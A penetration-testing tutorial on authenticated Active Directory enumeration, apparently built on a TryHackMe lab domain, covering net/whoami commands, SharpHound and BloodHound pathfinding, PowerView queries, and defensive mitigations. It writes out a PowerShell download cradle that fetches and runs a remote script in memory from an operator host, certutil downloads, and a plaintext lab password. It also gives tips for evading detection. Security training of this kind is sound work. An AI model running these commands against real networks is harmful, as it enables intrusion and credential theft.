Post cover image

July 19, 2026

AD authenticated Enumeration Masterclass: From Native CLI to Graph-Based Pathfinding (Initial…

Introduction

By NASRALLAH SALEH (Xiro0x)

4 min read

Introduction

Active Directory (AD) forms the backbone of identity management in modern enterprise networks. During a penetration test or security assessment, securing an initial foothold is only the first step. To understand the target environment, discover misconfigurations, and identify potential escalation paths, comprehensive enumeration is vital.

This guide provides a unified technical walkthrough covering three core domains of Active Directory reconnaissance:

  1. Manual Windows CLI Enumeration & Service Discovery
  2. Graph-Based Attack Path Analysis using BloodHound & SharpHound
  3. Advanced Directory Querying via PowerShell & PowerView

Phase 1: Native CLI & Manual Windows Enumeration

When operating under strict defensive monitoring (EDR/Antivirus), relying on custom binaries can raise immediate flags. Leveraging native binaries (Living off the Land — LOTL) allows operators to perform low-noise reconnaissance.

1. Identity & Privileges Assessment

Determine the operational identity, domain membership, and assigned token privileges.

DOS

whoami
whoami /all
  • whoami: Identifies whether the session runs under a local account (HOST\User) or a Domain identity (DOMAIN\User).
  • whoami /all: Lists assigned Security Identifiers (SIDs), active group memberships, and security privileges. Look specifically for actionable privileges such as SeImpersonatePrivilege or SeDebugPrivilege.

2. System Architecture & Environment Reconnaissance

Map host roles, domain controllers, and system variables.

DOS

hostname
systeminfo | findstr /B "Domain"
set
  • systeminfo | findstr /B "Domain": Confirms if the machine is joined to an Active Directory domain.
  • set: Dumps environment variables, exposing installed application paths (e.g., JAVA_HOME).

3. Identity & Group Discovery (net.exe)

Query the Active Directory database using built-in administrative utilities.

DOS

:: Enumerate all domain accounts
net user /domain
:: Inspect a specific user account profile
net user <username> /domain
:: List domain administrative groups
net group "Domain Admins" /domain
:: Inspect local administrative accounts on the host
net localgroup administrators

4. Active Session Identification

Detect concurrent user sessions to locate high-value targets (e.g., logged-in Domain Admins).

DOS

quser
tasklist /V
net session
  • quser: Displays active or locked interactive RDP and console sessions.
  • Security Context: An active administrative session implies that Kerberos tickets or NTLM hashes reside within the LSASS process memory space, making the host a prime candidate for credential dumping or token impersonation.

5. Service Account Enumeration

Service accounts often run with elevated privileges and use static, non-expiring passwords.

DOS

:: Enumerate services and execution identities using WMI
wmic service get Name,StartName
:: Enumerate service configurations using Service Control
sc query state= all | find "Keyword"
sc qc <ServiceName>
  • Accounts running under custom domain paths (e.g., DOMAIN\svc-backup) should be audited for password reuse or weak authentication controls.

Phase 2: Graph-Based Analysis via BloodHound & SharpHound

Traditional enumeration relies on tabular lists. However, Active Directory security is fundamentally driven by complex, interconnected relationships.

"Defenders think in lists. Attackers think in graphs." — John Lambert

The Two-Stage Attack Framework

  1. Stage 1 (Data Collection): Run automated collectors (SharpHound or bloodhound-python) to dump directory objects, group memberships, session data, and Access Control Lists (ACLs).
  2. Stage 2 (Offline Analysis): Import collected JSON data into BloodHound to map multi-hop privilege escalation paths without generating live network traffic.

Data Collection Execution

Method A: Native Windows Host (SharpHound.exe)

When executing on a domain-joined Windows target, use the official C# collector:

Once the operator machine is provisioned with SharpHound, the binary must be transferred to the compromised target host. The transfer vector depends on the available protocol access (SSH, HTTP/S, or WinRM) and operational security constraints.

Method 1: Direct Transfer via SCP (SSH Tunneling)

If an SSH session is established with the target host using compromised user credentials, Secure Copy Protocol (SCP) provides a direct encrypted transfer channel.

Execution from Operator Machine:

Bash

# Transfer SharpHound.exe to a writeable directory on the Windows target (e.g., AppData\Local\Temp)
scp SharpHound.exe asrepuser1@10.211.12.20:C:\Users\asrepuser1\AppData\Local\Temp\
  • Target Directory Note: Always target locations with guaranteed write privileges for low-privilege accounts, such as C:\Users\<username>\AppData\Local\Temp\ or C:\Users\Public\.

Method 2: Hosting a Local Web Server & Downloading via Native Windows Utilities

In network environments where external internet access is restricted or disabled (e.g., internal labs or isolated VLANs), turn the operator machine into an internal HTTP file server.

Step 1: Start Python HTTP Server (Operator Machine)

From the directory containing SharpHound.exe:

Bash

python3 -m http.server 80

Step 2: Download on Target Host via CLI Options

Option A: PowerShell Invoke-WebRequest

PowerShell

powershell -Command "Invoke-WebRequest -Uri 'http://<OPERATOR_IP>/SharpHound.exe' -OutFile 'SharpHound.exe'"

Option B: certutil.exe (Native Windows Administrative Utility) certutil is a built-in Windows binary designed for handling certificates, but it is frequently repurposed by administrators and security professionals for downloading files without PowerShell.

DOS

certutil -urlcache -f http://<OPERATOR_IP>/SharpHound.exe SharpHound.exe

Method 3: File Delivery via PowerShell In-Memory Delivery

To reduce disk forensic artifacts, you can host the script version (SharpHound.ps1) on the operator server and execute it directly in target memory without writing an executable binary to disk.

Operator Host Command:

Bash

python3 -m http.server 8080

Target Host PowerShell Execution:

PowerShell

powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<OPERATOR_IP>:8080/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All"

DOS

.\SharpHound.exe --CollectionMethods All --Domain tryhackme.loc --ExcludeDCs
  • OpSec Note: The --ExcludeDCs flag skips direct queries to Domain Controllers, reducing detection risk on sensitive assets.

Method B: Linux Attack Platform (bloodhound-python)

When operating remotely without a domain-joined Windows host:

Bash

bloodhound-python -u asrepuser1 -p qwerty123! -d tryhackme.loc -ns 10.211.12.10 -c All --zip

Analyzing Attack Paths in BloodHound-CE

  • Data Ingestion: Log into the BloodHound-CE interface (http://<server-ip>:8080), navigate to Administration > File Ingest, and upload the output .zip file.
  • Pathfinding Analysis:
  • Navigate to the Explore tab.
  • Open the Pathfinding panel.
  • Set your initial foothold account as the Start Node (e.g., asrepuser1).
  • Set a target high-privilege group as the End Node (e.g., Domain Admins).
  • Graph Interpretation: Analyze edges (e.g., MemberOf, HasSession, GenericAll, WriteDacl) connecting nodes to locate optimal escalation vectors.

Phase 3: PowerShell & PowerView Enumeration

PowerShell offers superior scriptability and structured object handling compared to standard CMD utilities.

1. Official ActiveDirectory PowerShell Module

Used natively on Domain Controllers or workstations with RSAT installed.

PowerShell

# Import the module
Import-Module ActiveDirectory
# Audit user account properties
Get-ADUser -Identity Administrator -Properties LastLogonDate,MemberOf,Title,Description,PwdLastSet
# Filter users by naming pattern
Get-ADUser -Filter "Name -like '*admin*'"
# Enumerate domain groups & members
Get-ADGroup -Filter * | Select Name
Get-ADGroupMember -Identity "Domain Admins"
# Enumerate computers and OS details
Get-ADComputer -Filter * | Select Name, OperatingSystem
# Inspect Domain Password Policy
Get-ADDefaultDomainPasswordPolicy

2. Offensive Reconnaissance via PowerView

Part of the PowerSploit framework, PowerView is designed specifically for domain auditing and red team operations.

PowerShell

# Load PowerView into session
Import-Module .\PowerView.ps1
# User and group enumeration
Get-DomainUser *admin*
Get-DomainGroup "*admin*"
Get-DomainComputer
# Advanced Exploit Target Discovery
Get-DomainUser -AdminCount
Get-DomainUser -SP

Key Technical Indicators:

  • -AdminCount: Filters users protected by AdminSDHolder (indicating past or present administrative privilege).
  • -SPN: Isolates accounts configured with Service Principal Names. These accounts are prime targets for Kerberoasting attacks to extract crackable service ticket hashes.

Defensive Hardening & Strategic Mitigations

  • Deploy Group Managed Service Accounts (gMSAs): Replace static service account passwords with gMSAs that automatically rotate complex 128-bit passwords.
  • Restrict Directory Visibility: Implement Access Control Lists (ACLs) to prevent standard authenticated users from performing mass directory queries.
  • PowerShell Telemetry: Enable Script Block Logging (Event ID 4104) and Module Logging to monitor for offensive API calls and execution of tools like PowerView.
  • Session Management Policies: Enforce automatic session termination for disconnected or idle RDP sessions to mitigate LSASS memory dumping.
  • Honey Tokens: Deploy lure domain accounts with pre-authentication disabled or high-privilege naming conventions to trigger automated alerts upon unauthorized enumeration.